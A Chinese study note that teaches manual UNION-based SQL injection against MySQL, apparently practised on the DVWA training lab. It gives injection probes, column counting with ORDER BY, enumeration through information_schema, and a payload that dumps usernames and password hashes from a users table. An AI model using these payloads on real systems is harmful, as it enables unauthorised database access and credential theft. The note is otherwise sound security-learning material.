1. 程式人生 > 其它 >學習筆記十二:MySQL手注之聯合查詢注入

學習筆記十二:MySQL手注之聯合查詢注入

原理

union select 聯合查詢,即合併(取交集,結果中沒有重複⾏)前後兩個查詢;前提是前後查詢檢視必須擁有相同數量的列,列也必需擁有相同的資料型別。

Union聯合查詢注入基本流程

1.判斷是否存在注入(數字型還是字元型)

方法一:單引號法

'

方法二:邏輯法

and 1=1

and 1=2

1' and '1'='1

1' and '1'='2

方法三:運演算法

-1

-0

2.猜解表名

常見的敏感表名

admin

user

admin_userinfo

system

vipuser

a_admin

xxx_admin

……

3.猜解欄位數

order by xx //xx是一個數字,表示你所猜的欄位數

4.猜解欄位名

常見的敏感欄位名

username

password

admin_username

admin_password

……

5.獲取資料

union select 1,2,3... from xx

MySQL手注之聯合查詢注入步驟詳解

1.判斷是否存在注入,注入型別是數字型還是字元型

輸入ID為1'時出現提示You have an error in your SQL……to use near ''1'' at line 1

此時系統執行的語句就是 SELECT first_name, last_name FROM users WHERE user_id = '1''

輸入ID為1' and '1' = '1時,返回了ID:1' and '1' = '1 First name:admine 和Surname: admin

此時系統執行的語句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' and '1' = '1'

輸入ID為1' or '1' = '1時,介面將所有使用者資訊(ID,First name,Surname)都顯示出來

此時系統執行的語句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1'

若以上實驗過程成功的話,就可以說明存在字元型注入

2.猜解欄位數

若輸入ID為1' order by 2 #時,介面返回ID:1' order by 2 # First name:admin Surname:admin

而當輸入ID為1' order by 3 #時,頁面返回Unknown column '3' in 'order clause'

這就說明SQL語句查詢的表的欄位數是2

3.聯合查詢

獲取當前資料庫和資料庫使用者名稱

1' union select database(),user() #

獲取當前的資料庫版本和作業系統

1' union select version(),@@version_compile_os#

獲取資料

在此之前我們需要判斷MySQL的版本。因為當MySQL的版本⼩於4.0時,是不⽀持union select聯合查詢的;當MySQL版本⼤於 5.0時,有個預設資料庫information_schema,儲存了 Mysql伺服器所有資料庫的資訊,如資料庫名,資料庫的表, 表欄的資料型別與訪問許可權等。該資料庫擁有⼀個名為 tables 的資料表,該表包含兩個欄位 table_name 和 table_schema,分別記錄 DBMS 中的儲存的表名和表名所在的資料庫。

獲取資料表名

1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

獲取表中的列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

獲取資料

1' union select user,password from users#